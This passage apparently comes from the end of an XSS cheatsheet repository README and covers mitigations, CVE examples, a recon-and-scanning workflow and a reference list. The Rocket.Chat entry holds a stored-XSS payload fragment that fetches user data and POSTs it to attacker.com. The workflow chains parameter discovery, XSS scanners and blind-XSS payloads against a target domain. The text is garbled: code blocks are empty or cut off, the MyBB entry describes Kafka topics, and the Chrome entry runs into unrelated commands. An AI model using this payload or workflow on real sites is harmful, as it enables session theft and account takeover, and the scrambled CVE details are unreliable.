**Additional Mitigations:**
- Validate content type of uploaded files on server-side (magic bytes, not just extension)
- Serve user-uploaded files from a separate origin (files.example.com)
- Use `sandbox` attribute on iframes: ``
- Implement WAF as defense-in-depth (not as primary control)
- Regular security testing: SAST, DAST, and manual pentesting
- Subresource Integrity (SRI) for external scripts:
```html
```
---
## π Real-World CVEs
### CVE-2021-22911 β Rocket.Chat Stored XSS (Critical)
**Affected:** Rocket.Chat
r.json())
.then(d=>fetch('https://attacker.com/users',{method:'POST',body:JSON.stringify(d)}))
">XSS
```
**Impact:** Admin account takeover by sending the SVG in a chat message to an admin.
**Reference:** https://hackerone.com/reports/1057429
---
### CVE-2022-24734 β MyBB Stored XSS (High)
**Affected:** MyBB
```
**Impact:** Anyone creating a Kafka topic with a malicious name could steal cookies from every admin who views the topics list.
---
### CVE-2023-3422 β Google Chrome Type Confusion (Critical)
**Affected:** Chrome params.txt
paramspider -d target.com -o spider.txt
# Step 2: Find reflected parameters quickly
cat params.txt | kxss
cat params.txt | Gxss -c 100 -p Xss
# Step 3: Deep scan with dalfox
cat params.txt | dalfox pipe --silence
# Step 4: Manual testing with Burp Suite
# - Proxy all traffic
# - Use Intruder with XSS payload list
# - Check DOM Invader extension for DOM XSS
# Step 5: Blind XSS payloads in all text fields
# - Contact forms, profile fields, feedback
# - With XSS Hunter payload
# Step 6: Test file uploads for SVG/HTML XSS
# Upload evil.svg, check if served from same origin
```
---
## π References
| Resource | Description | URL |
|----------|-------------|-----|
| **PortSwigger Web Academy** | Free, hands-on XSS labs covering all types | https://portswigger.net/web-security/cross-site-scripting |
| **OWASP XSS Prevention Cheat Sheet** | Defense-focused guide | https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html |
| **OWASP Testing Guide β XSS** | Testing methodology | https://owasp.org/www-project-web-security-testing-guide/ |
| **PayloadsAllTheThings** | Broad payload collection | https://github.com/swisskyrepo/PayloadsAllTheThings |
| **HackTricks XSS** | Comprehensive XSS tricks | https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting |
| **XSS Cheat Sheet (PortSwigger)** | Context-aware payload reference | https://portswigger.net/web-security/cross-site-scripting/cheat-sheet |
| **HTML5 Security Cheatsheet** | XSS vectors by HTML5 element | https://html5sec.org |
| **The Tangled Web** | Deep dive into browser security models (book) | https://nostarch.com/tangledweb |
| **The Web Application Hacker's Handbook** | Classic pentest textbook | ISBN: 978-1118026472 |
| **Cure53 DOMPurify Bypasses** | Historical bypass research | https://github.com/cure53/DOMPurify/tree/main/demos |
| **XS-Leaks Wiki** | Advanced cross-site attacks | https://xsleaks.dev |
| **Google's XSS Game** | Practice XSS in a safe environment | https://xss-game.appspot.com |
| **PentesterLab XSS** | Structured XSS learning with certificates | https://pentesterlab.com |
### Papers & Research
- **Klein, A. (2005)** β "DOM Based Cross Site Scripting or XSS of the Third Kind" β the original DOM XSS paper
- **Heiderich et al. (2012)** β "mXSS Attacks: Attacking well-secured Web-Applications by using innerHTML Mutations" β mXSS original research
- **Lekies et al. (2013)** β "25 Million Flows Later: Large-scale Detection of DOM-based XSS" β large scale DOM XSS study
- **Steffens et al. (2019)** β "Don't Trust The Locals: Investigating the Prevalence of Persistent Client-Side Cross-Site Scripting in the Wild"
---
## Contributing
Contributions are welcome and appreciated! Please read [`CONTRIBUTING.md`](CONTRIBUTING.md) before submitting.
**Quick guide:**
- All payloads must be real, tested, and educational
- Include context: what filter it bypasses, what browser it works in
- Format: follow existing markdown style
- No duplicate payloads (check existing content first)
- Security research only β no targeted attack assistance
---
**If this helped you, please β star the repo β it helps others find it!**
Made with β€οΈ for the security community Β· [MIT License](LICENSE) Β· Β© 2026 Arda Kocadoru
Keywords: `xss cheatsheet` `cross-site scripting` `xss payloads` `filter bypass` `waf bypass` `csp bypass` `dom xss` `blind xss` `xss 2026` `web security` `penetration testing`